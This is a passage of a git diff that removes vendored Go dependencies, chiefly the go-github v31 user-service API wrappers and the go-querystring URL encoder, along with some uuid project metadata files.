s.client.Do(ctx, req, nil) -} - -// DeclineInvitation declines the currently-open repository invitation for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#decline-a-repository-invitation -func (s *UsersService) DeclineInvitation(ctx context.Context, invitationID int64) (*Response, error) { - u := fmt.Sprintf("user/repository_invitations/%v", invitationID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/users_administration.go b/vendor/github.com/google/go-github/v31/github/users_administration.go deleted file mode 100644 index aef947ec45..0000000000 --- a/vendor/github.com/google/go-github/v31/github/users_administration.go +++ /dev/null @@ -1,72 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// PromoteSiteAdmin promotes a user to a site administrator of a GitHub Enterprise instance. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#promote-an-ordinary-user-to-a-site-administrator -func (s *UsersService) PromoteSiteAdmin(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("users/%v/site_admin", user) - - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// DemoteSiteAdmin demotes a user from site administrator of a GitHub Enterprise instance. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#demote-a-site-administrator-to-an-ordinary-user -func (s *UsersService) DemoteSiteAdmin(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("users/%v/site_admin", user) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// UserSuspendOptions represents the reason a user is being suspended. -type UserSuspendOptions struct { - Reason *string `json:"reason,omitempty"` -} - -// Suspend a user on a GitHub Enterprise instance. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#suspend-a-user -func (s *UsersService) Suspend(ctx context.Context, user string, opts *UserSuspendOptions) (*Response, error) { - u := fmt.Sprintf("users/%v/suspended", user) - - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// Unsuspend a user on a GitHub Enterprise instance. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#unsuspend-a-user -func (s *UsersService) Unsuspend(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("users/%v/suspended", user) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/users_blocking.go b/vendor/github.com/google/go-github/v31/github/users_blocking.go deleted file mode 100644 index c60bfdbcd5..0000000000 --- a/vendor/github.com/google/go-github/v31/github/users_blocking.go +++ /dev/null @@ -1,91 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListBlockedUsers lists all the blocked users by the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/blocking/#list-blocked-users -func (s *UsersService) ListBlockedUsers(ctx context.Context, opts *ListOptions) ([]*User, *Response, error) { - u := "user/blocks" - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - var blockedUsers []*User - resp, err := s.client.Do(ctx, req, &blockedUsers) - if err != nil { - return nil, resp, err - } - - return blockedUsers, resp, nil -} - -// IsBlocked reports whether specified user is blocked by the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/blocking/#check-whether-youve-blocked-a-user -func (s *UsersService) IsBlocked(ctx context.Context, user string) (bool, *Response, error) { - u := fmt.Sprintf("user/blocks/%v", user) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - resp, err := s.client.Do(ctx, req, nil) - isBlocked, err := parseBoolResponse(err) - return isBlocked, resp, err -} - -// BlockUser blocks specified user for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/blocking/#block-a-user -func (s *UsersService) BlockUser(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("user/blocks/%v", user) - - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - return s.client.Do(ctx, req, nil) -} - -// UnblockUser unblocks specified user for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/blocking/#unblock-a-user -func (s *UsersService) UnblockUser(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("user/blocks/%v", user) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeBlockUsersPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/users_emails.go b/vendor/github.com/google/go-github/v31/github/users_emails.go deleted file mode 100644 index bf02d1a610..0000000000 --- a/vendor/github.com/google/go-github/v31/github/users_emails.go +++ /dev/null @@ -1,72 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import "context" - -// UserEmail represents user's email address -type UserEmail struct { - Email *string `json:"email,omitempty"` - Primary *bool `json:"primary,omitempty"` - Verified *bool `json:"verified,omitempty"` - Visibility *string `json:"visibility,omitempty"` -} - -// ListEmails lists all email addresses for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/emails/#list-email-addresses-for-a-user -func (s *UsersService) ListEmails(ctx context.Context, opts *ListOptions) ([]*UserEmail, *Response, error) { - u := "user/emails" - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var emails []*UserEmail - resp, err := s.client.Do(ctx, req, &emails) - if err != nil { - return nil, resp, err - } - - return emails, resp, nil -} - -// AddEmails adds email addresses of the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/emails/#add-email-addresses -func (s *UsersService) AddEmails(ctx context.Context, emails []string) ([]*UserEmail, *Response, error) { - u := "user/emails" - req, err := s.client.NewRequest("POST", u, emails) - if err != nil { - return nil, nil, err - } - - var e []*UserEmail - resp, err := s.client.Do(ctx, req, &e) - if err != nil { - return nil, resp, err - } - - return e, resp, nil -} - -// DeleteEmails deletes email addresses from authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/emails/#delete-email-addresses -func (s *UsersService) DeleteEmails(ctx context.Context, emails []string) (*Response, error) { - u := "user/emails" - req, err := s.client.NewRequest("DELETE", u, emails) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/users_followers.go b/vendor/github.com/google/go-github/v31/github/users_followers.go deleted file mode 100644 index fa841c6c5d..0000000000 --- a/vendor/github.com/google/go-github/v31/github/users_followers.go +++ /dev/null @@ -1,122 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListFollowers lists the followers for a user. Passing the empty string will -// fetch followers for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/followers/#list-followers-of-a-user -// GitHub API docs: https://developer.github.com/v3/users/followers/#list-followers-of-the-authenticated-user -func (s *UsersService) ListFollowers(ctx context.Context, user string, opts *ListOptions) ([]*User, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/followers", user) - } else { - u = "user/followers" - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var users []*User - resp, err := s.client.Do(ctx, req, &users) - if err != nil { - return nil, resp, err - } - - return users, resp, nil -} - -// ListFollowing lists the people that a user is following. Passing the empty -// string will list people the authenticated user is following. -// -// GitHub API docs: https://developer.github.com/v3/users/followers/#list-users-followed-by-another-user -// GitHub API docs: https://developer.github.com/v3/users/followers/#list-users-followed-by-the-authenticated-user -func (s *UsersService) ListFollowing(ctx context.Context, user string, opts *ListOptions) ([]*User, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/following", user) - } else { - u = "user/following" - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var users []*User - resp, err := s.client.Do(ctx, req, &users) - if err != nil { - return nil, resp, err - } - - return users, resp, nil -} - -// IsFollowing checks if "user" is following "target". Passing the empty -// string for "user" will check if the authenticated user is following "target". -// -// GitHub API docs: https://developer.github.com/v3/users/followers/#check-if-one-user-follows-another -// GitHub API docs: https://developer.github.com/v3/users/followers/#check-if-you-are-following-a-user -func (s *UsersService) IsFollowing(ctx context.Context, user, target string) (bool, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/following/%v", user, target) - } else { - u = fmt.Sprintf("user/following/%v", target) - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - following, err := parseBoolResponse(err) - return following, resp, err -} - -// Follow will cause the authenticated user to follow the specified user. -// -// GitHub API docs: https://developer.github.com/v3/users/followers/#follow-a-user -func (s *UsersService) Follow(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("user/following/%v", user) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// Unfollow will cause the authenticated user to unfollow the specified user. -// -// GitHub API docs: https://developer.github.com/v3/users/followers/#unfollow-a-user -func (s *UsersService) Unfollow(ctx context.Context, user string) (*Response, error) { - u := fmt.Sprintf("user/following/%v", user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/users_gpg_keys.go b/vendor/github.com/google/go-github/v31/github/users_gpg_keys.go deleted file mode 100644 index 20b6edfd5b..0000000000 --- a/vendor/github.com/google/go-github/v31/github/users_gpg_keys.go +++ /dev/null @@ -1,129 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// GPGKey represents a GitHub user's public GPG key used to verify GPG signed commits and tags. -// -// https://developer.github.com/changes/2016-04-04-git-signing-api-preview/ -type GPGKey struct { - ID *int64 `json:"id,omitempty"` - PrimaryKeyID *int64 `json:"primary_key_id,omitempty"` - KeyID *string `json:"key_id,omitempty"` - PublicKey *string `json:"public_key,omitempty"` - Emails []*GPGEmail `json:"emails,omitempty"` - Subkeys []*GPGKey `json:"subkeys,omitempty"` - CanSign *bool `json:"can_sign,omitempty"` - CanEncryptComms *bool `json:"can_encrypt_comms,omitempty"` - CanEncryptStorage *bool `json:"can_encrypt_storage,omitempty"` - CanCertify *bool `json:"can_certify,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - ExpiresAt *time.Time `json:"expires_at,omitempty"` -} - -// String stringifies a GPGKey. -func (k GPGKey) String() string { - return Stringify(k) -} - -// GPGEmail represents an email address associated to a GPG key. -type GPGEmail struct { - Email *string `json:"email,omitempty"` - Verified *bool `json:"verified,omitempty"` -} - -// ListGPGKeys lists the public GPG keys for a user. Passing the empty -// string will fetch keys for the authenticated user. It requires authentication -// via Basic Auth or via OAuth with at least read:gpg_key scope. -// -// GitHub API docs: https://developer.github.com/v3/users/gpg_keys/#list-gpg-keys-for-a-user -// GitHub API docs: https://developer.github.com/v3/users/gpg_keys/#list-your-gpg-keys -func (s *UsersService) ListGPGKeys(ctx context.Context, user string, opts *ListOptions) ([]*GPGKey, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/gpg_keys", user) - } else { - u = "user/gpg_keys" - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var keys []*GPGKey - resp, err := s.client.Do(ctx, req, &keys) - if err != nil { - return nil, resp, err - } - - return keys, resp, nil -} - -// GetGPGKey gets extended details for a single GPG key. It requires authentication -// via Basic Auth or via OAuth with at least read:gpg_key scope. -// -// GitHub API docs: https://developer.github.com/v3/users/gpg_keys/#get-a-single-gpg-key -func (s *UsersService) GetGPGKey(ctx context.Context, id int64) (*GPGKey, *Response, error) { - u := fmt.Sprintf("user/gpg_keys/%v", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - key := &GPGKey{} - resp, err := s.client.Do(ctx, req, key) - if err != nil { - return nil, resp, err - } - - return key, resp, nil -} - -// CreateGPGKey creates a GPG key. It requires authenticatation via Basic Auth -// or OAuth with at least write:gpg_key scope. -// -// GitHub API docs: https://developer.github.com/v3/users/gpg_keys/#create-a-gpg-key -func (s *UsersService) CreateGPGKey(ctx context.Context, armoredPublicKey string) (*GPGKey, *Response, error) { - gpgKey := &struct { - ArmoredPublicKey string `json:"armored_public_key"` - }{ArmoredPublicKey: armoredPublicKey} - req, err := s.client.NewRequest("POST", "user/gpg_keys", gpgKey) - if err != nil { - return nil, nil, err - } - - key := &GPGKey{} - resp, err := s.client.Do(ctx, req, key) - if err != nil { - return nil, resp, err - } - - return key, resp, nil -} - -// DeleteGPGKey deletes a GPG key. It requires authentication via Basic Auth or -// via OAuth with at least admin:gpg_key scope. -// -// GitHub API docs: https://developer.github.com/v3/users/gpg_keys/#delete-a-gpg-key -func (s *UsersService) DeleteGPGKey(ctx context.Context, id int64) (*Response, error) { - u := fmt.Sprintf("user/gpg_keys/%v", id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/users_keys.go b/vendor/github.com/google/go-github/v31/github/users_keys.go deleted file mode 100644 index 1091606a9f..0000000000 --- a/vendor/github.com/google/go-github/v31/github/users_keys.go +++ /dev/null @@ -1,110 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Key represents a public SSH key used to authenticate a user or deploy script. -type Key struct { - ID *int64 `json:"id,omitempty"` - Key *string `json:"key,omitempty"` - URL *string `json:"url,omitempty"` - Title *string `json:"title,omitempty"` - ReadOnly *bool `json:"read_only,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` -} - -func (k Key) String() string { - return Stringify(k) -} - -// ListKeys lists the verified public keys for a user. Passing the empty -// string will fetch keys for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/keys/#list-public-keys-for-a-user -// GitHub API docs: https://developer.github.com/v3/users/keys/#list-your-public-keys -func (s *UsersService) ListKeys(ctx context.Context, user string, opts *ListOptions) ([]*Key, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/keys", user) - } else { - u = "user/keys" - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var keys []*Key - resp, err := s.client.Do(ctx, req, &keys) - if err != nil { - return nil, resp, err - } - - return keys, resp, nil -} - -// GetKey fetches a single public key. -// -// GitHub API docs: https://developer.github.com/v3/users/keys/#get-a-single-public-key -func (s *UsersService) GetKey(ctx context.Context, id int64) (*Key, *Response, error) { - u := fmt.Sprintf("user/keys/%v", id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - key := new(Key) - resp, err := s.client.Do(ctx, req, key) - if err != nil { - return nil, resp, err - } - - return key, resp, nil -} - -// CreateKey adds a public key for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/keys/#create-a-public-key -func (s *UsersService) CreateKey(ctx context.Context, key *Key) (*Key, *Response, error) { - u := "user/keys" - - req, err := s.client.NewRequest("POST", u, key) - if err != nil { - return nil, nil, err - } - - k := new(Key) - resp, err := s.client.Do(ctx, req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, nil -} - -// DeleteKey deletes a public key. -// -// GitHub API docs: https://developer.github.com/v3/users/keys/#delete-a-public-key -func (s *UsersService) DeleteKey(ctx context.Context, id int64) (*Response, error) { - u := fmt.Sprintf("user/keys/%v", id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/users_projects.go b/vendor/github.com/google/go-github/v31/github/users_projects.go deleted file mode 100644 index 1357055040..0000000000 --- a/vendor/github.com/google/go-github/v31/github/users_projects.go +++ /dev/null @@ -1,68 +0,0 @@ -// Copyright 2019 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListProjects lists the projects for the specified user. -// -// GitHub API docs: https://developer.github.com/v3/projects/#list-user-projects -func (s *UsersService) ListProjects(ctx context.Context, user string, opts *ProjectListOptions) ([]*Project, *Response, error) { - u := fmt.Sprintf("users/%v/projects", user) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - var projects []*Project - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// CreateUserProjectOptions specifies the parameters to the UsersService.CreateProject method. -type CreateUserProjectOptions struct { - // The name of the project. (Required.) - Name string `json:"name"` - // The description of the project. (Optional.) - Body *string `json:"body,omitempty"` -} - -// CreateProject creates a GitHub Project for the current user. -// -// GitHub API docs: https://developer.github.com/v3/projects/#create-a-user-project -func (s *UsersService) CreateProject(ctx context.Context, opts *CreateUserProjectOptions) (*Project, *Response, error) { - u := "user/projects" - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - project := &Project{} - resp, err := s.client.Do(ctx, req, project) - if err != nil { - return nil, resp, err - } - - return project, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/with_appengine.go b/vendor/github.com/google/go-github/v31/github/with_appengine.go deleted file mode 100644 index 59ce26b2ea..0000000000 --- a/vendor/github.com/google/go-github/v31/github/with_appengine.go +++ /dev/null @@ -1,20 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build appengine - -// This file provides glue for making github work on App Engine. - -package github - -import ( - "context" - "net/http" -) - -func withContext(ctx context.Context, req *http.Request) *http.Request { - // No-op because App Engine adds context to a request differently. - return req -} diff --git a/vendor/github.com/google/go-github/v31/github/without_appengine.go b/vendor/github.com/google/go-github/v31/github/without_appengine.go deleted file mode 100644 index 6f8fdac560..0000000000 --- a/vendor/github.com/google/go-github/v31/github/without_appengine.go +++ /dev/null @@ -1,19 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build !appengine - -// This file provides glue for making github work without App Engine. - -package github - -import ( - "context" - "net/http" -) - -func withContext(ctx context.Context, req *http.Request) *http.Request { - return req.WithContext(ctx) -} diff --git a/vendor/github.com/google/go-querystring/LICENSE b/vendor/github.com/google/go-querystring/LICENSE deleted file mode 100644 index ae121a1e46..0000000000 --- a/vendor/github.com/google/go-querystring/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2013 Google. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/google/go-querystring/query/encode.go b/vendor/github.com/google/go-querystring/query/encode.go deleted file mode 100644 index 37080b19b5..0000000000 --- a/vendor/github.com/google/go-querystring/query/encode.go +++ /dev/null @@ -1,320 +0,0 @@ -// Copyright 2013 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package query implements encoding of structs into URL query parameters. -// -// As a simple example: -// -// type Options struct { -// Query string `url:"q"` -// ShowAll bool `url:"all"` -// Page int `url:"page"` -// } -// -// opt := Options{ "foo", true, 2 } -// v, _ := query.Values(opt) -// fmt.Print(v.Encode()) // will output: "q=foo&all=true&page=2" -// -// The exact mapping between Go values and url.Values is described in the -// documentation for the Values() function. -package query - -import ( - "bytes" - "fmt" - "net/url" - "reflect" - "strconv" - "strings" - "time" -) - -var timeType = reflect.TypeOf(time.Time{}) - -var encoderType = reflect.TypeOf(new(Encoder)).Elem() - -// Encoder is an interface implemented by any type that wishes to encode -// itself into URL values in a non-standard way. -type Encoder interface { - EncodeValues(key string, v *url.Values) error -} - -// Values returns the url.Values encoding of v. -// -// Values expects to be passed a struct, and traverses it recursively using the -// following encoding rules. -// -// Each exported struct field is encoded as a URL parameter unless -// -// - the field's tag is "-", or -// - the field is empty and its tag specifies the "omitempty" option -// -// The empty values are false, 0, any nil pointer or interface value, any array -// slice, map, or string of length zero, and any time.Time that returns true -// for IsZero(). -// -// The URL parameter name defaults to the struct field name but can be -// specified in the struct field's tag value. The "url" key in the struct -// field's tag value is the key name, followed by an optional comma and -// options. For example: -// -// // Field is ignored by this package. -// Field int `url:"-"` -// -// // Field appears as URL parameter "myName". -// Field int `url:"myName"` -// -// // Field appears as URL parameter "myName" and the field is omitted if -// // its value is empty -// Field int `url:"myName,omitempty"` -// -// // Field appears as URL parameter "Field" (the default), but the field -// // is skipped if empty. Note the leading comma. -// Field int `url:",omitempty"` -// -// For encoding individual field values, the following type-dependent rules -// apply: -// -// Boolean values default to encoding as the strings "true" or "false". -// Including the "int" option signals that the field should be encoded as the -// strings "1" or "0". -// -// time.Time values default to encoding as RFC3339 timestamps. Including the -// "unix" option signals that the field should be encoded as a Unix time (see -// time.Unix()) -// -// Slice and Array values default to encoding as multiple URL values of the -// same name. Including the "comma" option signals that the field should be -// encoded as a single comma-delimited value. Including the "space" option -// similarly encodes the value as a single space-delimited string. Including -// the "semicolon" option will encode the value as a semicolon-delimited string. -// Including the "brackets" option signals that the multiple URL values should -// have "[]" appended to the value name. "numbered" will append a number to -// the end of each incidence of the value name, example: -// name0=value0&name1=value1, etc. -// -// Anonymous struct fields are usually encoded as if their inner exported -// fields were fields in the outer struct, subject to the standard Go -// visibility rules. An anonymous struct field with a name given in its URL -// tag is treated as having that name, rather than being anonymous. -// -// Non-nil pointer values are encoded as the value pointed to. -// -// Nested structs are encoded including parent fields in value names for -// scoping. e.g: -// -// "user[name]=acme&user[addr][postcode]=1234&user[addr][city]=SFO" -// -// All other values are encoded using their default string representation. -// -// Multiple fields that encode to the same URL parameter name will be included -// as multiple URL values of the same name. -func Values(v interface{}) (url.Values, error) { - values := make(url.Values) - val := reflect.ValueOf(v) - for val.Kind() == reflect.Ptr { - if val.IsNil() { - return values, nil - } - val = val.Elem() - } - - if v == nil { - return values, nil - } - - if val.Kind() != reflect.Struct { - return nil, fmt.Errorf("query: Values() expects struct input. Got %v", val.Kind()) - } - - err := reflectValue(values, val, "") - return values, err -} - -// reflectValue populates the values parameter from the struct fields in val. -// Embedded structs are followed recursively (using the rules defined in the -// Values function documentation) breadth-first. -func reflectValue(values url.Values, val reflect.Value, scope string) error { - var embedded []reflect.Value - - typ := val.Type() - for i := 0; i < typ.NumField(); i++ { - sf := typ.Field(i) - if sf.PkgPath != "" && !sf.Anonymous { // unexported - continue - } - - sv := val.Field(i) - tag := sf.Tag.Get("url") - if tag == "-" { - continue - } - name, opts := parseTag(tag) - if name == "" { - if sf.Anonymous && sv.Kind() == reflect.Struct { - // save embedded struct for later processing - embedded = append(embedded, sv) - continue - } - - name = sf.Name - } - - if scope != "" { - name = scope + "[" + name + "]" - } - - if opts.Contains("omitempty") && isEmptyValue(sv) { - continue - } - - if sv.Type().Implements(encoderType) { - if !reflect.Indirect(sv).IsValid() { - sv = reflect.New(sv.Type().Elem()) - } - - m := sv.Interface().(Encoder) - if err := m.EncodeValues(name, &values); err != nil { - return err - } - continue - } - - if sv.Kind() == reflect.Slice || sv.Kind() == reflect.Array { - var del byte - if opts.Contains("comma") { - del = ',' - } else if opts.Contains("space") { - del = ' ' - } else if opts.Contains("semicolon") { - del = ';' - } else if opts.Contains("brackets") { - name = name + "[]" - } - - if del != 0 { - s := new(bytes.Buffer) - first := true - for i := 0; i < sv.Len(); i++ { - if first { - first = false - } else { - s.WriteByte(del) - } - s.WriteString(valueString(sv.Index(i), opts)) - } - values.Add(name, s.String()) - } else { - for i := 0; i < sv.Len(); i++ { - k := name - if opts.Contains("numbered") { - k = fmt.Sprintf("%s%d", name, i) - } - values.Add(k, valueString(sv.Index(i), opts)) - } - } - continue - } - - for sv.Kind() == reflect.Ptr { - if sv.IsNil() { - break - } - sv = sv.Elem() - } - - if sv.Type() == timeType { - values.Add(name, valueString(sv, opts)) - continue - } - - if sv.Kind() == reflect.Struct { - reflectValue(values, sv, name) - continue - } - - values.Add(name, valueString(sv, opts)) - } - - for _, f := range embedded { - if err := reflectValue(values, f, scope); err != nil { - return err - } - } - - return nil -} - -// valueString returns the string representation of a value. -func valueString(v reflect.Value, opts tagOptions) string { - for v.Kind() == reflect.Ptr { - if v.IsNil() { - return "" - } - v = v.Elem() - } - - if v.Kind() == reflect.Bool && opts.Contains("int") { - if v.Bool() { - return "1" - } - return "0" - } - - if v.Type() == timeType { - t := v.Interface().(time.Time) - if opts.Contains("unix") { - return strconv.FormatInt(t.Unix(), 10) - } - return t.Format(time.RFC3339) - } - - return fmt.Sprint(v.Interface()) -} - -// isEmptyValue checks if a value should be considered empty for the purposes -// of omitting fields with the "omitempty" option. -func isEmptyValue(v reflect.Value) bool { - switch v.Kind() { - case reflect.Array, reflect.Map, reflect.Slice, reflect.String: - return v.Len() == 0 - case reflect.Bool: - return !v.Bool() - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return v.Int() == 0 - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr: - return v.Uint() == 0 - case reflect.Float32, reflect.Float64: - return v.Float() == 0 - case reflect.Interface, reflect.Ptr: - return v.IsNil() - } - - if v.Type() == timeType { - return v.Interface().(time.Time).IsZero() - } - - return false -} - -// tagOptions is the string following a comma in a struct field's "url" tag, or -// the empty string. It does not include the leading comma. -type tagOptions []string - -// parseTag splits a struct field's url tag into its name and comma-separated -// options. -func parseTag(tag string) (string, tagOptions) { - s := strings.Split(tag, ",") - return s[0], s[1:] -} - -// Contains checks whether the tagOptions contains the specified option. -func (o tagOptions) Contains(option string) bool { - for _, s := range o { - if s == option { - return true - } - } - return false -} diff --git a/vendor/github.com/google/uuid/.travis.yml b/vendor/github.com/google/uuid/.travis.yml deleted file mode 100644 index d8156a60ba..0000000000 --- a/vendor/github.com/google/uuid/.travis.yml +++ /dev/null @@ -1,9 +0,0 @@ -language: go - -go: - - 1.4.3 - - 1.5.3 - - tip - -script: - - go test -v ./... diff --git a/vendor/github.com/google/uuid/CONTRIBUTING.md b/vendor/github.com/google/uuid/CONTRIBUTING.md deleted file mode 100644 index 04fdf09f13..0000000000 --- a/vendor/github.com/google/uuid/CONTRIBUTING.md +++ /dev/null @@ -1,10 +0,0 @@ -# How to contribute - -We definitely welcome patches and contribution to this project! - -### Legal requirements - -In order to protect both you and ourselves, you will need to sign the -[Contributor License Agreement](https://cla.developers.google.com/clas). - -You may have already signed it for other Google projects. diff --git a/vendor/github.com/google/uuid/CONTRIBUTORS b/vendor/github.com/google/uuid/CONTRIBUTORS 